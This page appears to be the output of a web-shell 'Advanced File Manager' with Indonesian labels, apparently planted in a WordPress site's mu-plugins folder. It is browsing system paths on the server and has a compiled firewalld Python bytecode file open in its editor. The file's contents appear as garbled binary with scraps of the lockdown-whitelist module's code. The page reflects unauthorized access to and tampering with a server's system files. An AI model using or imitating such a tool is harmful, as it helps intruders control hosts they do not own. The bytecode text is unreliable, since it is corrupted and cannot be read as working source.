📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
lib
›
python3.9
›
site-packages
›
firewall
›
core
›
io
›
📁 __pycache__
📍
Lokasi:
/usr/lib/python3.9/site-packages/firewall/core/io/__pycache__
💾
Free:
45.8 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: lockdown_whitelist.cpython-39.pyc
a ��i�/ � @ s� d dl mZ d dlZd dlZd dlZd dlmZ d dlmZm Z m Z d dlmZ d dl mZmZmZmZmZ d dlmZ d dlmZ G dd � d e �ZG d d� de�ZdS )� N)�config)� IO_Object�IO_Object_ContentHandler�IO_Object_XMLGenerator)�log)�uniqify� checkUser�checkUid�checkCommand�checkContext)�errors)� FirewallErrorc @ s e Zd Zdd� Zdd� ZdS )�!lockdown_whitelist_ContentHandlerc C s t �| |� d| _d S )NF)r �__init__� whitelist)�self�item� r �G/usr/lib/python3.9/site-packages/firewall/core/io/lockdown_whitelist.pyr % s z*lockdown_whitelist_ContentHandler.__init__c C sV t �| ||� | j�||� |dkr@| jr6ttjd��d| _�n|dkrr| js\t� d� d S |d }| j� |� n�|dkr�| js�t� d� d S d |v r�zt|d �}W n& ty� t� d |d � Y d S 0 | j� |� nd|v r�| j�|d � n\|dk�r@| j�st� d� d S d |v�r.t� d� d S | j�|d � nt� d| � d S d S )Nr zMore than one whitelist.T�commandz)Parse Error: command outside of whitelist�name�userz&Parse Error: user outside of whitelist�idz"Parse Error: %s is not a valid uid�selinuxz)Parse Error: selinux outside of whitelist�contextzParse Error: no contextzUnknown XML element %s)r �startElementr Zparser_check_element_attrsr r r ZPARSE_ERRORr �error�add_command�int� ValueError�add_uid�add_user�add_context)r r �attrsr �uidr r r r ) sN � � z.lockdown_whitelist_ContentHandler.startElementN)�__name__� __module__�__qualname__r r r r r r r $ s r c s, e Zd ZdZddgfddgfddgfddgffZdZd gZd dgd dgd �ZdddgiZ� fdd�Z dd� Z dd� Zdd� Zdd� Z dd� Zdd� Zdd� Zd d!� Zd"d#� Zd$d%� Zd&d'� Zd(d)� Zd*d+� Zd,d-� Zd.d/� Zd0d1� Zd2d3� Zd4d5� Zd6d7� Zd8d9� Zd:d;� Zd<d=� Zd>d?� Z d@dA� Z!� Z"S )B�LockdownWhitelistz LockdownWhitelist class �commands� �contexts�users�uidsr z (asasasai)�_Nr r )r r r r r r c s6 t t| ��� || _d | _g | _g | _g | _g | _d S �N) �superr( r �filename�parserr) r+ r, r- )r r1 �� __class__r r r m s zLockdownWhitelist.__init__c C s� |dv r,|D ]}| � ||d d� ||� qnv|dkrJt|�s�ttj|��nX|dkrht|�s�ttj|��n:|dkr�t|�s�ttj|��n|dkr�t |�s�ttj |��d S )N�r) r+ r, r- ���r r r r$ )� _check_configr r r �INVALID_COMMANDr �INVALID_CONTEXTr �INVALID_USERr �INVALID_UID)r r r Z all_configZall_io_objects�xr r r r7 x s zLockdownWhitelist._check_configc C s4 | j d d �= | jd d �= | jd d �= | jd d �= d S r/ r5 �r r r r �cleanup� s zLockdownWhitelist.cleanupc C s@ t |�sttj|��|| jvr,| j�|� nttjd| ��d S )Nz!Command "%s" already in whitelist)r r r r8 r) �append�ALREADY_ENABLED�r r r r r r � s �zLockdownWhitelist.add_commandc C s, || j v r| j �|� nttjd| ��d S )NzCommand "%s" not in whitelist.)r) �remover r �NOT_ENABLEDrA r r r �remove_command� s �z LockdownWhitelist.remove_commandc C s || j v S r/ �r) rA r r r �has_command� s zLockdownWhitelist.has_commandc C sB | j D ]6}|�d�r.|�|d d� �r< dS q||kr dS qdS )N�*r6 TF)r) �endswith� startswith)r r Z_commandr r r � match_command� s zLockdownWhitelist.match_commandc C s | j S r/ rE r= r r r �get_commands� s zLockdownWhitelist.get_commandsc C sD t |�sttjt|���|| jvr0| j�|� nttjd| ��d S )NzUid "%s" already in whitelist)r r r r; �strr- r? r@ �r r$ r r r r � s �zLockdownWhitelist.add_uidc C s, || j v r| j �|� nttjd| ��d S )NzUid "%s" not in whitelist.)r- rB r r rC rM r r r � remove_uid� s �zLockdownWhitelist.remove_uidc C s || j v S r/ �r- rM r r r �has_uid� s zLockdownWhitelist.has_uidc C s || j v S r/ rO rM r r r � match_uid� s zLockdownWhitelist.match_uidc C s | j S r/ rO r= r r r �get_uids� s zLockdownWhitelist.get_uidsc C s@ t |�sttj|��|| jvr,| j�|� nttjd| ��d S )NzUser "%s" already in whitelist)r r r r: r, r? r@ �r r r r r r! � s �zLockdownWhitelist.add_userc C s, || j v r| j �|� nttjd| ��d S )NzUser "%s" not in whitelist.)r, rB r r rC rS r r r �remove_user� s �zLockdownWhitelist.remove_userc C s || j v S r/ �r, rS r r r �has_user� s zLockdownWhitelist.has_userc C s || j v S r/ rU rS r r r � match_user� s zLockdownWhitelist.match_userc C s | j S r/ rU r= r r r � get_users� s zLockdownWhitelist.get_usersc C s@ t |�sttj|��|| jvr,| j�|� nttjd| ��d S )Nz!Context "%s" already in whitelist)r r r r9 r+ r? r@ �r r r r r r"